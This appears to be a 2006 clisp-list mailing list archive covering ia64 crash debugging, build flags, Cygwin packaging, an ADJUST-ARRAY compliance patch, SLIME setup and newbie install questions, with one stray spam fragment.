> >> > One of our gcc maintainers togetheer with our
> >> > ia64 architecture maintainer had done this.
> >> 
> >> got names?
> >
> > e.g. Andreas Schwab <schwab@suse.de>
> >      Andreas Jaeger <aj@suse.de>
> 
> thanks.
> 
> now, what is the URL for the patch?

I've done some bug hunting and now I can provide a real fix for the
crash caused by the appended images on lisp executables.  The fix is
really simply and I'm wondering that ia64 seems to be the only
architecture which shows up this crash. Maybe the magic header isn't
that magic on ia64.

For the patch see http://www.suse.de/~werner/clisp-2.39-dump.dif.bz2
but note you have to wait upto 2 hours as the data has received the
WWW server within the DMZ between the two firewalls.

During hunting the bug I've seen some random crash within the test
suite on this piece of code

  (stringp (with-output-to-string (s) (describe nil s)))
  T

found in tests/streams.tst. Such a crash looks like

  (STRINGP (WITH-OUTPUT-TO-STRING (S) (DESCRIBE NIL S)))
  ;; connecting to "http://clisp.cons.org/impnotes/id-href.map"...connected...HTTP/1.1 200 OK...64,752 bytes
  ;; SYSTEM::GET-STRING-MAP(#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER clisp.cons.org:80>)...gmake[1]: *** [tests] Segmentation fault
  gmake[1]: Leaving directory `/usr/src/packages/BUILD/clisp-2.39/ia64-suse-linux/tests'

I was not able to reproduce the crash within gdb nor on command
line but have a core dump which leads me to the following:

  GNU gdb 6.5
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  This GDB was configured as "ia64-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

  [...]

  Core was generated by `../lisp.run -E UTF-8 -norc -B ../ -N ../locale -M ../lispinit.mem -m 30000KW -i'.
  Program terminated with signal 11, Segmentation fault.
  #0  0x40000000000fe200 in rd_ch_buffered (stream_=<value optimized out>) at stream.d:6452
  6452        Encoding_mbstowcs(encoding)
  (gdb) list rd_ch_buffered
  6433
  6434    # Input side
  6435    # ----------
  6436
  6437    # READ-CHAR - Pseudo-Function for File-Streams of Characters
  6438    local object rd_ch_buffered (const gcv_object_t* stream_) {
  6439      var object stream = *stream_;
  6440      var uintB* bufferptr = buffered_nextbyte(stream,persev_partial);
  6441      if (bufferptr == (uintB*)NULL) # EOF ?
  6442        return eof_value;
  (gdb) print bufferptr
  $1 = (uintB *) 0x130000000b60f0 <Address 0x130000000b60f0 out of bounds>
  (gdb) list 6452
  6447      { # Does the buffer contain a complete character?
  6448        var uintL endvalid = BufferedStream_endvalid(stream);
  6449        var uintL available = endvalid - BufferedStream_index(stream);
  6450        var const uintB* bptr = bufferptr;
  6451        var chart* cptr = &c;
  6452        Encoding_mbstowcs(encoding)
  6453          (encoding,stream,&bptr,bufferptr+available,&cptr,&c+1);
  6454        if (cptr == &c+1) {
  6455          var uintL n = bptr-bufferptr;
  6456          # increment index and position
  (gdb) print bptr
  $2 = (const uintB *) 0x130000000b60f0 <Address 0x130000000b60f0 out of bounds>
  (gdb) print cptr
  $3 = (chart *) 0x607ffffffe992420
  (gdb)

Here you can also see that the stack address range is not that constant
on ia64 (kernel 2.6.16) it may vary between the two values 0x607FFFFFFF000000
and 0x607FFFFFFE000000. Older kernels uses a different value which
makes the clisp images depending on the kernel version and on some
architectures even on the runtime setup.

Now at least the patch you have requested. I've applied the 40 lines of the
patch send in the last mail to ffcall/avcall/avcall.h.in and
ffcall/callback/vacall_r/vacall_r.h.in and rerun the compiler as described
ffcall/avcall/avcall-ia64.c to create a new ffcall/avcall/avcall-ia64.s
with gcc 4.1.

For the patch see http://www.suse.de/~werner/clisp-2.39-ia64.dif.bz2
but note you have to wait upto 2 hours as the data has received the
WWW server within the DMZ between the two firewalls.

Please drop a note if you have catched the two patches because I'd
like to remove the two patches as fast as possible.


       Werner

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Please find 2.39 binaries for FreeBSD and Darwin (from Pascal Costanza)
in the "files" section of the clisp sf site:
http://sourceforge.net/project/showfiles.php?group_id=1355&package_id=1340

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so, who volunteers to maintain the clisp cygwin package?

> * Kelly Jeglum <Wrtyhz@NHK.HJZ.RQH> [2006-07-19 15:51:40 -0500]:
>
> I'm also a Cygwin user - an extreme novice though.
> Learning a lot about building clisp on cygwin by the emails sent back and
> forth.
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> Kelly Jeglum
>
> -----Original Message-----
> From: Steven E. Harris [mailto:seh@panix.com]=20
> Sent: Wednesday, July 19, 2006 2:37 PM
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> Subject: Re: [clisp-list] any cygwin users here?
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> Sam Steingold <sds@podval.org> writes:
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>> I cannot send this message to a cygwin list, it is rejected as spam.
>> after 9 attempts, I gave up.
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> I've had the same problem with that list a couple of years ago, and saw
> another person suffering similarly last week.=C2=B9 The list managers are
> unforgivable self-righteous on these matters.
>
> But yes, you do have a Cygwin-related audience here.
>
>
> Footnotes:=20
> =C2=B9 http://thread.gmane.org/gmane.os.cygwin/79786

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On Tue, Jul 25, 2006 at 04:08:28PM -0400, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-25 18:26:11 +0200]:
> >
> > I've done some bug hunting and now I can provide a real fix for the
> > crash caused by the appended images on lisp executables.
> 
> thanks, committed.
> 
> does CLISP work now on ia64 with -O2?
> if yes, I will revert the -O0 patch.

It does if I skip the two lines of tests/streams.tst I've mentioned.

> > Now at least the patch you have requested. I've applied the 40 lines
> > of the patch send in the last mail to ffcall/avcall/avcall.h.in and
> > ffcall/callback/vacall_r/vacall_r.h.in and rerun the compiler as
> > described ffcall/avcall/avcall-ia64.c to create a new
> > ffcall/avcall/avcall-ia64.s with gcc 4.1.
> 
> could you please upload this patch to
> http://sourceforge.net/tracker/?func=add&group_id=1355&atid=301355
> please include the names of the authors and a ChangeLog entry.
> thank you very much!

Done see 
http://sourceforge.net/tracker/index.php?func=detail&aid=1528895&group_id=1355&atid=301355

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I'll give it a try.

2006/7/27, Sam Steingold <sds@podval.org>:
> so, who volunteers to maintain the clisp cygwin package?
>
> > * Kelly Jeglum <Wrtyhz@NHK.HJZ.RQH> [2006-07-19 15:51:40 -0500]:
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> >
> > Kelly Jeglum
> >
> > -----Original Message-----
> > From: Steven E. Harris [mailto:seh@panix.com]
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> >> I cannot send this message to a cygwin list, it is rejected as spam.
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> >
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> >
> >
> > Footnotes:
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Reini Urban schrieb:
> I'll give it a try.
> 
> 2006/7/27, Sam Steingold <sds@podval.org>:
>> so, who volunteers to maintain the clisp cygwin package?

Hi,
I assume you didn't build pari-2.3.0 lately:

cpari.o:cpari.c:(.text+0x171): undefined reference to `_init_opts'
cpari.o:cpari.c:(.text+0x1d3): undefined reference to `_freeall'

How should those two be named?


In the meantime I prepared proper cygwin packages for fcgi, libsigsegv 
and pari to help future builds from source.

Including postgresql is also easier now: just libpq4 and libpq-devel is 
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Reini Urban schrieb:
> I'll give it a try.
> 
> 2006/7/27, Sam Steingold <sds@podval.org>:
>> so, who volunteers to maintain the clisp cygwin package?

Hi,
I've converted the simple shell script to a complicated cygport 
environment, added fastcgi, removed pari and the package is announced at 
the cygwin list.
libsigsegv is accepted and uploaded as new package, fcgi and pari 
hopefully soon.
I need some more testing with fcgi and apache2.

Later on I will have some patches for the cygwin specific build step, 
adding some requires to the setup.hint and to the README.

I see the main rationale for a cygwin package in as much as possible 
modules, in comparison to mingw, where performance is best.

>>> Sam Steingold writes:
>>>
>>>> I cannot send this message to a cygwin list, it is rejected as spam.
>>>> after 9 attempts, I gave up.
>>> I've had the same problem with that list a couple of years ago, and saw
>>> another person suffering similarly last week.¹ The list managers are
>>> unforgivable self-righteous on these matters.
>>>
>>> But yes, you do have a Cygwin-related audience here.
>>>
>>> Footnotes:
>>> ¹ http://thread.gmane.org/gmane.os.cygwin/79786
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Thanks Reini for taking over!

> I see the main rationale for a cygwin package in as much as possible
> modules, in comparison to mingw, where performance is best.

OK.
please feel free to create new modules as well.

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Sam Steingold schrieb:
> Thanks Reini for taking over!
> 
>> I see the main rationale for a cygwin package in as much as possible
>> modules, in comparison to mingw, where performance is best.
> 
> OK.
> please feel free to create new modules as well.

Besides clx, oracle and matlab: Dan's win32 is on my wishlist for years. 
(since 2002 exactly)
The final motivation to get rid of perl Win32-GUI and python wx.

Will be ready today. Do you need the binary package at sf.net also?
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Alle Friday 21 July 2006 15:22, Sam Steingold ha scritto:
> >> Peter Van Eynde said that recompiling with adding -O0 to the CFLAGS and
> >> removing the -O option makes the build work.
> >> do you concur?
> >
> > Just tried that,
> 
> Peter, doest 2.39 work for you?

Sorry for the delay, I was working on getting 2.39 into some shape.

The debian rules file I used can be found here:
http://cl-debian.alioth.debian.org/repository/pvaneynd/clisp/debian/rules

The build on ia64 was sucessfull, a log can be seen here:
http://buildd.debian.org/fetch.php?&pkg=clisp&ver=1%3A2.39-1&arch=ia64&stamp=1154084704&file=log&as=raw

> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer gcc
> > does not help (without this patch the minitests check fails).
> 
> what's that patch?

At the moment the build script does not run any tests, should it? Don't 
they generate false positives like sbcl?

Groetjes, Peter

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> * Reini Urban <eheona@k-enl.ng> [2006-07-31 18:32:51 +0200]:
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> Will be ready today. Do you need the binary package at sf.net also?
> Would make no sense to me.

to me neither.

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Peter & Werner,
please tell me, does CLISP build on ia64 with gcc -O2?
IOW, is this patch necessary:

2006-07-14  Peter Van Eynde  <pvaneynd@debian.org>

	fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64
	* makemake.in (XCFLAGS) [ia64]: -O0, not -O2

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On Mon, Jul 31, 2006 at 07:51:27PM -0400, Sam Steingold wrote:
> Peter & Werner,
> please tell me, does CLISP build on ia64 with gcc -O2?
> IOW, is this patch necessary:
> 
> 2006-07-14  Peter Van Eynde  <pvaneynd@debian.org>
> 
> 	fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64
> 	* makemake.in (XCFLAGS) [ia64]: -O0, not -O2

This is what our build system says:

  Job: d127-werner-35
  Package: clisp
  Distributions:
   - ia64: succeeded

with `-O2' overwritten with src/makemake.in.

       Werner

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Dr. Werner Fink wrote:
> On Mon, Jul 31, 2006 at 07:51:27PM -0400, Sam Steingold wrote:
>> Peter & Werner,
>> please tell me, does CLISP build on ia64 with gcc -O2?
>> IOW, is this patch necessary:
>>
>> 2006-07-14  Peter Van Eynde  <pvaneynd@debian.org>
>>
>> 	fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64
>> 	* makemake.in (XCFLAGS) [ia64]: -O0, not -O2
> 
> This is what our build system says:
> 
>   Job: d127-werner-35
>   Package: clisp
>   Distributions:
>    - ia64: succeeded
> 
> with `-O2' overwritten with src/makemake.in.

sorry, Werner, I do not understand your message.
let me try to word my question differently.
IIUC, you do manage to build CLISP on ia64.
excellent!
now, what does
$ clisp --version
print?

Thanks!



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Dr. Werner Fink wrote:
> On Mon, Jul 31, 2006 at 07:51:27PM -0400, Sam Steingold wrote:
>> Peter & Werner,
>> please tell me, does CLISP build on ia64 with gcc -O2?
>> IOW, is this patch necessary:
>>
>> 2006-07-14  Peter Van Eynde  <pvaneynd@debian.org>
>>
>> 	fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64
>> 	* makemake.in (XCFLAGS) [ia64]: -O0, not -O2
> 
> This is what our build system says:
> 
>   Job: d127-werner-35
>   Package: clisp
>   Distributions:
>    - ia64: succeeded
> 
> with `-O2' overwritten with src/makemake.in.

sorry, Werner, I do not understand your message.
let me try to word my question differently.
IIUC, you do manage to build CLISP on ia64.
excellent!
now, what does
$ clisp --version
print?

Thanks!


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On Tue, Aug 01, 2006 at 09:31:09AM -0400, Sam Steingold wrote:
> Dr. Werner Fink wrote:
> > On Mon, Jul 31, 2006 at 07:51:27PM -0400, Sam Steingold wrote:
> >> Peter & Werner,
> >> please tell me, does CLISP build on ia64 with gcc -O2?
> >> IOW, is this patch necessary:
> >>
> >> 2006-07-14  Peter Van Eynde  <pvaneynd@debian.org>
> >>
> >> 	fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64
> >> 	* makemake.in (XCFLAGS) [ia64]: -O0, not -O2
> > 
> > This is what our build system says:
> > 
> >   Job: d127-werner-35
> >   Package: clisp
> >   Distributions:
> >    - ia64: succeeded
> > 
> > with `-O2' overwritten with src/makemake.in.
> 
> sorry, Werner, I do not understand your message.
> let me try to word my question differently.
> IIUC, you do manage to build CLISP on ia64.
> excellent!
> now, what does
> $ clisp --version
> print?

Here we are:

plutonium:/ # clisp --version
GNU CLISP 2.39 (2006-07-16) (built 3363432341) (memory 3363432814)
Software: GNU C 4.1.2 20060705 (prerelease) (SUSE Linux) 
gcc -O2 -fmessage-length=0 -Wall -D_FORTIFY_SOURCE=2 -g -fPIC -D_GNU_SOURCE -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -pipe -fno-strict-aliasing -Wno-unused -Wno-uninitialized -DSAFETY=3 -fno-gcse -O -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -I.  -O2  -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl    -L/usr/X11R6/lib
SAFETY=3 TYPECODES WIDE SPVW_BLOCKS SPVW_PURE SINGLEMAP_MEMORY
libreadline 5.1
Features: 
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
 LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /usr/lib/clisp/
User language: ENGLISH
Machine: IA64 (IA64) plutonium.suse.de [10.10.1.219]

as you can see, the last optimization option is -O2.

       Werner

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Dr. Werner Fink wrote:
> 
> plutonium:/ # clisp --version
> GNU CLISP 2.39 (2006-07-16) (built 3363432341) (memory 3363432814)
> Software: GNU C 4.1.2 20060705 (prerelease) (SUSE Linux) 
> gcc -O2 -fmessage-length=0 -Wall -D_FORTIFY_SOURCE=2 -g -fPIC -D_GNU_SOURCE -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -pipe -fno-strict-aliasing -Wno-unused -Wno-uninitialized -DSAFETY=3 -fno-gcse -O -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -I.  -O2  -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl    -L/usr/X11R6/lib
> SAFETY=3 TYPECODES WIDE SPVW_BLOCKS SPVW_PURE SINGLEMAP_MEMORY
> libreadline 5.1
> Features: 
> (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
>  LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX)
> C Modules: (clisp i18n syscalls regexp readline)
> Installation directory: /usr/lib/clisp/
> User language: ENGLISH
> Machine: IA64 (IA64) plutonium.suse.de [10.10.1.219]
> 
> as you can see, the last optimization option is -O2.

yes, thanks, I will revert the patch.

please note that you also have "-g" there.
do you strip the executable before packaging?
please see "Additional Information for Maintainers of Binary Packages" 
in clisp/unix/INSTALL



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Dr. Werner Fink wrote:
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>> please note that you also have "-g" there.
>> do you strip the executable before packaging?
> 
> No I do not, because this breakes clisp.

then removing "-g" from CFLAGS will reduce the executable size 
significantly.

>> please see "Additional Information for Maintainers of Binary Packages" 
>> in clisp/unix/INSTALL
> 
> Hmmm ... there is no such section therein?

http://clisp.cvs.sourceforge.net/*checkout*/clisp/clisp/unix/INSTALL


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Alle Tuesday 01 August 2006 01:51, Sam Steingold ha scritto:
> Peter & Werner,
> please tell me, does CLISP build on ia64 with gcc -O2?

I've just tested it and it seems to build and run the tests correctly without 
the -O0 now.

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Nirendra Maharaj wrote:
> On Tue, 01 Aug 2006 13:05:18 -0400, "Sam Steingold"
> said:
>> I think I fixed the problem in the CVS head.
>> I cannot really test it because the only BE machine I have access to is 
>> a solaris sparc on SF CF and it does not allow connecting to the outside 
>> world.
> 
> I can't check the sources out of CVS, because I only have Internet
> access from work and we are behind a (draconian) firewall...

:-(
you can subscribe to clisp-devel and apply the patches that appear there 
  as a digest (or subscribe to clisp-cvs and get patches per commit).
you can also get them on gmane.org

> I did manage to get a patch for 'socket.d' through the web interface. It
> doesn't solve the problem, though.

indeed, you need to patch modules/rawsock/rawsock.c too



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I've released a minor package update for clisp-2.39

./configure --fsstnd=redhat --with-dynamic-ffi  \
	--with-module=rawsock --with-module=dirkey  \
	--with-module=bindings/win32 --with-module=berkeley-db \
	--with-module=pcre --with-module=postgresql \
  	--with-module=fastcgi --with-module=zlib  --prefix=/usr \
         --build build

Changes:
Added the ZLIB module, which I forgot in the clisp-2.39-1 release and 
which was in all earlier releases.

BTW: It's IMHO not highly important to have the static ZLIB module. From 
my 54 installed asdf modules no one uses :ZLIB, some use a portable FFI 
to libz.

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I have just configured slime with xemacs associated with Clisp. It works 
fine when I switch to  "slime mode" if I type M-x slime. However, when I 
exit xemacs, there's always coming up with a process "lisp.exe" which 
exhaust all the cpu resources and never ends. I have to kill it  manually.

My OS is windows xp. I installed Xemacs 21.4.19 and CLISP 2.39; the 
slime package is the latest cvs version.

The following is the init file I used:

;============= SLIME Setup ====================================
   (add-to-list 'load-path "D:/XEmacs/slime")  ; your SLIME directory
   (setq inferior-lisp-program "D:/Clisp/clisp-2.39/clisp.exe -I") ;
   (require 'slime)
   (slime-setup)

Any suggestions? Thanks a lot for your help!
-Lei



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[I tried to submit this bug report to SourceForge, but it complained
about logging in, so I gave up.]

The CLHS page for ADJUST-ARRAY says:

   An error of type error is signaled if fill-pointer is supplied and
   non-nil but array has no fill pointer.

However, CLISP says:

   [1]> (lisp-implementation-version)
   "2.39 (2006-07-16) (built 3364196085) (memory 3364203222)"
   [2]> "foo"
   "foo"
   [3]> (array-has-fill-pointer-p *)
   NIL
   [4]> (adjust-array ** 3 :fill-pointer t)
   "foo"
   [5]> (array-has-fill-pointer-p *)
   T

uname -a:
Linux kaneda 2.4.19-rmk7-nw1 #2 Wed Aug 6 11:01:40 CEST 2003 armv4l GNU/Linux

Source code from:
ftp.gnu.org, 2006-08-10

Build:
>From scratch, no interesting options.

--version:
GNU CLISP 2.39 (2006-07-16) (built 3364196085) (memory 3364203222)
Software: GNU C 3.3.5 (Debian 1:3.3.5-13)
gcc -Os -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -x none libcharset.a -lreadline -lncurses -ldl   -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libreadline 4.3
Features:
(REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN GETTEXT UNICODE
 BASE-CHAR=CHARACTER UNIX)
C Modules: (clisp i18n syscalls regexp)
Installation directory: /usr/local/lib/clisp/
User language: ENGLISH
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Lars Brinkhoff wrote:
> [I tried to submit this bug report to SourceForge, but it complained
> about logging in, so I gave up.]

yes, you need an SF account to submit bugs there - otherwise we cannot 
get back to you if we need more information.

> The CLHS page for ADJUST-ARRAY says:
> 
>    An error of type error is signaled if fill-pointer is supplied and
>    non-nil but array has no fill pointer.
> 
> However, CLISP says:
> 
>    [1]> (lisp-implementation-version)
>    "2.39 (2006-07-16) (built 3364196085) (memory 3364203222)"
>    [2]> "foo"
>    "foo"
>    [3]> (array-has-fill-pointer-p *)
>    NIL
>    [4]> (adjust-array ** 3 :fill-pointer t)
>    "foo"
>    [5]> (array-has-fill-pointer-p *)
>    T

Interesting.  I would think that the error requirement applies only if 
the array is modified, not when a new array is created.
Maybe we should discuss this on comp.lang.lisp?
note that both cmucl and sbcl are even weirder: they do the exact same 
thing except that last form returns NIL!
gcl signal an error as the spec appears to require.
how about acl? lw?
thanks.
Sam.



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Subject: Re: [clisp-list] ANSI compliance bug in ADJUST-ARRAY
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Lars Brinkhoff wrote:
> The CLHS page for ADJUST-ARRAY says:
> 
>    An error of type error is signaled if fill-pointer is supplied and
>    non-nil but array has no fill pointer.
> 
> However, CLISP says:
> 
>    [1]> (lisp-implementation-version)
>    "2.39 (2006-07-16) (built 3364196085) (memory 3364203222)"
>    [2]> "foo"
>    "foo"
>    [3]> (array-has-fill-pointer-p *)
>    NIL
>    [4]> (adjust-array ** 3 :fill-pointer t)
>    "foo"

please try this patch:

--- array.d	17 May 2006 08:54:49 -0400	1.107
+++ array.d	10 Aug 2006 17:39:23 -0400	
@@ -3741,6 +3741,14 @@
    VALUES_IF(array_has_fill_pointer_p(array));
  }

+/* signal an error when the vector does not have a fill pointer */
+nonreturning_function(local,fehler_no_fillp,(object vec)) {
+  pushSTACK(vec); /* TYPE-ERROR slot DATUM */
+  pushSTACK(O(type_vector_with_fill_pointer)); /* TYPE-ERROR slot 
EXPECTED-TYPE */
+  pushSTACK(vec); pushSTACK(TheSubr(subr_self)->name);
+  fehler(type_error,GETTEXT("~S: vector ~S has no fill pointer"));
+}
+
  /* check, if object is a vector with fill-pointer, and returns
   the address of the fill-pointer.
   *get_fill_pointer(obj) is the fill-pointer itself.
@@ -3749,22 +3757,13 @@
    /* obj must be a vector: */
    if (!vectorp(obj))
      fehler_vector(obj);
-  /* must not be simple: */
-  if (simplep(obj))
-    goto fehler_fillp;
-  /* must contain a fill-pointer: */
-  if (!(Iarray_flags(obj) & bit(arrayflags_fillp_bit)))
-    goto fehler_fillp;
+  /* must not be simple & must have a fill-pointer */
+  if (simplep(obj) || !(Iarray_flags(obj) & bit(arrayflags_fillp_bit)))
+    fehler_no_fillp(obj);
    /* where is the fill-pointer? */
    return ((Iarray_flags(obj) & bit(arrayflags_dispoffset_bit))
            ? &TheIarray(obj)->dims[2] /* behind displaced-offset and 
dimension 0 */
            : &TheIarray(obj)->dims[1]); /* behind dimension 0 */
- fehler_fillp:
-  /* error-message: */
-  pushSTACK(obj); /* TYPE-ERROR slot DATUM */
-  pushSTACK(O(type_vector_with_fill_pointer)); /* TYPE-ERROR slot 
EXPECTED-TYPE */
-  pushSTACK(obj); pushSTACK(TheSubr(subr_self)->name);
-  fehler(type_error,GETTEXT("~S: vector ~S has no fill pointer"));
  }

  LISPFUNNR(fill_pointer,1) { /* (FILL-POINTER vector), CLTL p. 296 */
@@ -4887,10 +4886,13 @@
         if no :initial-contents and no :displaced-to, copy contents */
      var bool copy_p = !boundp(STACK_3) && missingp(STACK_1);
      var object array = STACK_6;
+    var bool has_fill_p = array_has_fill_pointer_p(array);
+    if (!has_fill_p && !missingp(STACK_2))
+      fehler_no_fillp(array);
      pushSTACK(STACK_1); pushSTACK(STACK_1);
      /* :FILL-POINTER NIL means keep it as it was */
-    STACK_2 = !missingp(STACK_4) ? (object)STACK_4 :
-      array_has_fill_pointer_p(array) ? 
fixnum(*get_fill_pointer(array)) : NIL;
+    STACK_2 = (!missingp(STACK_4) ? (object)STACK_4 :
+               has_fill_p ? fixnum(*get_fill_pointer(array)) : NIL);
      STACK_3 = STACK_5; STACK_4 = STACK_6; STACK_5 = STACK_7;
      STACK_6 = NIL; /* :ADJUSTABLE NIL */
      STACK_7 = STACK_9; /* dims */
@@ -5002,13 +5004,8 @@
    /* modify the given array. */
    if (!nullp(STACK_2)) { /* fill-pointer supplied? */
      /* array must have fill-pointer: */
-    if (!(Iarray_flags(STACK_6) & bit(arrayflags_fillp_bit))) {
-      pushSTACK(STACK_6); /* TYPE-ERROR slot DATUM */
-      pushSTACK(O(type_vector_with_fill_pointer)); /* TYPE-ERROR slot 
EXPECTED-TYPE */
-      pushSTACK(STACK_(6+2));
-      pushSTACK(TheSubr(subr_self)->name);
-      fehler(type_error,GETTEXT("~S: array ~S has no fill-pointer"));
-    }
+    if (!(Iarray_flags(STACK_6) & bit(arrayflags_fillp_bit)))
+      fehler_no_fillp(STACK_6);
      fillpointer = test_fillpointer(totalsize); /* fill-pointer-value */
    } else {
      /* If array has a fill-pointer, it must be <= the new total-size: */



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Lei Tang wrote:
> I have just configured slime with xemacs associated with Clisp. It works 
> fine when I switch to  "slime mode" if I type M-x slime. However, when I 
> exit xemacs, there's always coming up with a process "lisp.exe" which 
> exhaust all the cpu resources and never ends. I have to kill it  manually.

I believe this is a problem with XEmacs's process management on NT,
rather than CLISP itself; not having an NT machine, I can't be sure.
Perhaps

(add-hook 'kill-emacs-hook 'slime-quit-lisp)

in your .emacs file or other appropriate place will do what you want?

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Thanks a lot for your suggestion.

I tried to add
	(add-hook 'kill-emacs-hook 'slime-quit-lisp)
in init file.

The problem is if I close Xemacs without invoking the slime mode, it 
always return me the information "not connected". (I guess this could be 
solved by checking a variable (whether slime mode is active).

Also, if I enter slime mode and close xemacs, it signals  errors 
sometimes which is really wierd.

Right now, what I do is type M-x slime-quit-lisp before I close the 
xemacs window. And this method works fine, though, a little bothersome.

-Lei

Stephen Compall wrote:
> Lei Tang wrote:
> 
>>I have just configured slime with xemacs associated with Clisp. It works 
>>fine when I switch to  "slime mode" if I type M-x slime. However, when I 
>>exit xemacs, there's always coming up with a process "lisp.exe" which 
>>exhaust all the cpu resources and never ends. I have to kill it  manually.
> 
> 
> I believe this is a problem with XEmacs's process management on NT,
> rather than CLISP itself; not having an NT machine, I can't be sure.
> Perhaps
> 
> (add-hook 'kill-emacs-hook 'slime-quit-lisp)
> 
> in your .emacs file or other appropriate place will do what you want?
> 



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I'd like to call;   void pbm_init(int* argcp,char* argv[]);

I can't find the correct way to declare the function and to call it.
What's wrong with me?


[1]> (ffi:def-call-out pbm-init (:name "pbm_init")
  (:arguments (argc ffi:c-pointer      :in)
              (argv (FFI:C-ARRAY-ptr ffi:c-string) :in))
  (:return-type nil)
  (:language :stdc)
  (:library "/usr/lib/libnetpbm.so"))

PBM-INIT
[2]> (ffi:with-c-var (argc 'ffi:int 0)
           (pbm-init (print (ffi:c-var-address argc)) #()))
#<FOREIGN-ADDRESS #xBFBCB760> 
*** - handle_fault error2 ! address = 0x0 not in [0x20280004,0x204d4c84) !
SIGSEGV cannot be cured. Fault address = 0x0.
Permanently allocated: 105600 bytes.
Currently in use: 3782648 bytes.
Free space: 711700 bytes.

Process inferior-lisp segmentation fault


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Pascal Bourguignon writes:
> 
> I'd like to call;   void pbm_init(int* argcp,char* argv[]);

Nevermind, this is not a problem with FFI, but with pbm_init which
expects at least one string in argv[0].

Sorry for the noise.

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-08-11 23:31:55 +0200]:
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> Pascal Bourguignon writes:
>> 
>> I'd like to call;   void pbm_init(int* argcp,char* argv[]);
>
> Nevermind, this is not a problem with FFI, but with pbm_init which
> expects at least one string in argv[0].

good.
would you like to contribute a netpbm module?

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Listen, how has your pep been feeling?
perfect, heya, just wanted to see if u were still wanting to get fit?
Hope you are cause I saw these guys

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as I method could
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Hi,

I am a newbie to lisp.
I am trying to install CLISP on my Linux machine. I have downloaded the 
package and typed "./configure" and I think installed successfully. But, I 
dont know what to do next. I mean,the further steps and how to run the 
interpreter / compiler.
Pls help me, with any references on how to use the system

Thanks,
Aravind
-- 


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On Aug 24, Aravind Krishna scribed:

>
> Hi,
>
> I am a newbie to lisp.
> I am trying to install CLISP on my Linux machine. I have downloaded the
> package and typed "./configure" and I think installed successfully. But, I
> dont know what to do next. I mean,the further steps and how to run the
> interpreter / compiler.
> Pls help me, with any references on how to use the system
>
> Thanks,
> Aravind
> --

$ clisp
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

[1]>

However, I would strongly encourage you to look at Slime, if you use Emacs
(even if you don't), or the lisp-in-a-box solution:
http://www.google.com/search?q=lisp-in-a-box

HTH,
Dave



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Aravind Krishna wrote:
> I am trying to install CLISP on my Linux machine. I have downloaded the 
> package and typed "./configure" and I think installed successfully. But, I 
> dont know what to do next. I mean,the further steps and how to run the 
> interpreter / compiler.

Please read the unix/INSTALL file in the distribution; this is not a
standard build system.

After that, you may wish to configure ASDF (http://www.cliki.net/asdf)
to load into CLISP at start time; know that forms in ~/.clisprc are
evaluated as such, and further instructions can be found in asdf's
source tree.

Then, you will probably want SLIME (http://www.cliki.net/SLIME).
Again, decent setup documentation to get Emacs working with SLIME is
included; the only CLISP-specific thing to do is

  (setq inferior-lisp-program "clisp")

in your ~/.emacs startup file or other suitable place.

At last, if you don't already have a good tutorial on CL, please see
http://www.gigamonkeys.com/book/ .

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Aravind Krishna writes:
> I am a newbie to lisp.
> I am trying to install CLISP on my Linux machine. I have downloaded the=
=20
> package and typed "./configure" and I think installed successfully. But=
, I=20
> dont know what to do next. I mean,the further steps and how to run the=20
> interpreter / compiler.
> Pls help me, with any references on how to use the system


No, ./configure doesn't compile nor install anything. It just configures.
Otherwise it would have been called ./configure-and-compile-and-install

Rather, try:

    ./configure --build /tmp/clisp-build --install


--=20
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NOTE: The most fundamental particles in this product are held
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and whose adhesive power can therefore not be permanently
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Hi, there.

